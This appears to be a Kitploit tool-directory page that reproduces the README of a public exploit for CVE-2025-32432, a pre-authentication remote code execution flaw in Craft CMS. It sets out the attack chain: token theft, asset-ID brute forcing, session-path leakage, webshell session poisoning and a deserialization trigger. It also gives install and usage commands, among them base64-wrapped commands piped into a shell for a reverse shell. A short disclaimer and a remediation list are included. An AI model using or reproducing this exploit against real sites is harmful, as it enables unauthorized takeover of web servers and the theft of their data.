Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32432-exploit-by-P34NUT — Reliable CVE-2025-32432 pre-auth RCE exploit for Craft CMS 3.x/4.x/5.x, works where other public PoCs fail | Kitploit
Tools/GitHubGitHub/p34nut2/cve-2025-32432-exploit-by-p34nut
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubp34nut2/cve-2025-32432-exploit-by-p34nut

CVE-2025-32432-exploit-by-P34NUT

Reliable CVE-2025-32432 pre-auth RCE exploit for Craft CMS 3.x/4.x/5.x, works where other public PoCs fail

View Repository
214h 54m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit

Author: P34NUT2
Vulnerability: Remote Code Execution (Pre-Authenticated) in Craft CMS
CVE: CVE-2025-32432
Target: Any vulnerable Craft CMS instance (3.x / 4.x / 5.x) — tested on Hack The Box: Orion


⚠️ Disclaimer

This tool is provided strictly for educational purposes and authorized penetration testing within controlled environments such as Hack The Box, TryHackMe, or private lab setups you own or have explicit written permission to test.

Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal under the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent laws in most jurisdictions worldwide.

The author assumes no responsibility or liability for any misuse, damage, or legal consequences resulting from the use of this software. Use responsibly and ethically.


💡 Motivation & Background

Most public PoCs for CVE-2025-32432 fail against real-world targets like HTB: Orion due to:

  • Improper URL parameter encoding
  • Broken handling of special characters (&, >, )
<
  • Session file truncation during the PHP session poisoning phase
  • This exploit was built from scratch to solve those reliability issues. It properly handles URL encoding, automates dynamic token extraction, and uses Base64 wrapper pipelines to achieve reliable execution against any vulnerable Craft CMS instance — validated against real deployments and proven on HTB Orion.


    🔗 Technical Exploitation Chain

    StepActionDescription
    1Session & CSRF AcquisitionExtracts CraftSessionId, CRAFT_CSRF_TOKEN, and dynamic CSRF_TOKEN from the admin endpoint
    2Asset ID DiscoveryBrute-forces valid asset IDs required for the transform generation payload
    3Session Path LeakageInjects a Guzzle object to trigger phpinfo() and read session.save_path dynamically
    4Session PoisoningInjects a URL-encoded PHP webshell payload into the active session file
    5RCE TriggerUnserializes the poisoned session to execute arbitrary system commands

    📦 Installation

    root@kitploit:~
    git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
    cd CVE-2025-32432-exploit-by-P34NUT2
    pip install -r requirements.txt
    

    🚀 Usage

    Arguments

    FlagLong OptionRequiredDescription
    -u--url✅ YesTarget base URL (e.g. http://example.com)
    -c--cmd✅ YesCommand to execute on the remote target
    -a--asset❌ NoKnown valid Asset ID (speeds up execution)
    -s--scan-max❌ NoMax Asset ID brute-force range (Default: 300)

    Examples

    1. Basic Command Execution

    root@kitploit:~
    python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
    

    2. With a Known Asset ID (faster)

    root@kitploit:~
    python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
    

    3. Encoded Payload (Recommended for Special Characters)

    To prevent special characters from being altered by HTTP parsers or truncated during session handling, encode your command in Base64 before passing it:

    root@kitploit:~
    # Step 1 — encode your command locally
    echo -n "YOUR_COMMAND_HERE" | base64
    
    # Step 2 — pass the encoded string through the script
    python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
    

    4. Reverse Shell via Base64 Wrapper

    root@kitploit:~
    python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
    

    🛡️ Remediation

    If you are a system administrator or developer running Craft CMS, apply the following mitigations:

    • Update Craft CMS to the latest patched release (≥ 5.6.17 / ≥ 4.14.14).
    • Restrict access to administrative action endpoints (/actions/*) via firewall rules or middleware.
    • Harden PHP session directories — ensure they are not writable by untrusted web processes.
    • Monitor for anomalous deserialization activity in application and web server logs.

    📄 License

    This project is licensed for educational and authorized testing use only. See LICENSE for details.

    Download Tool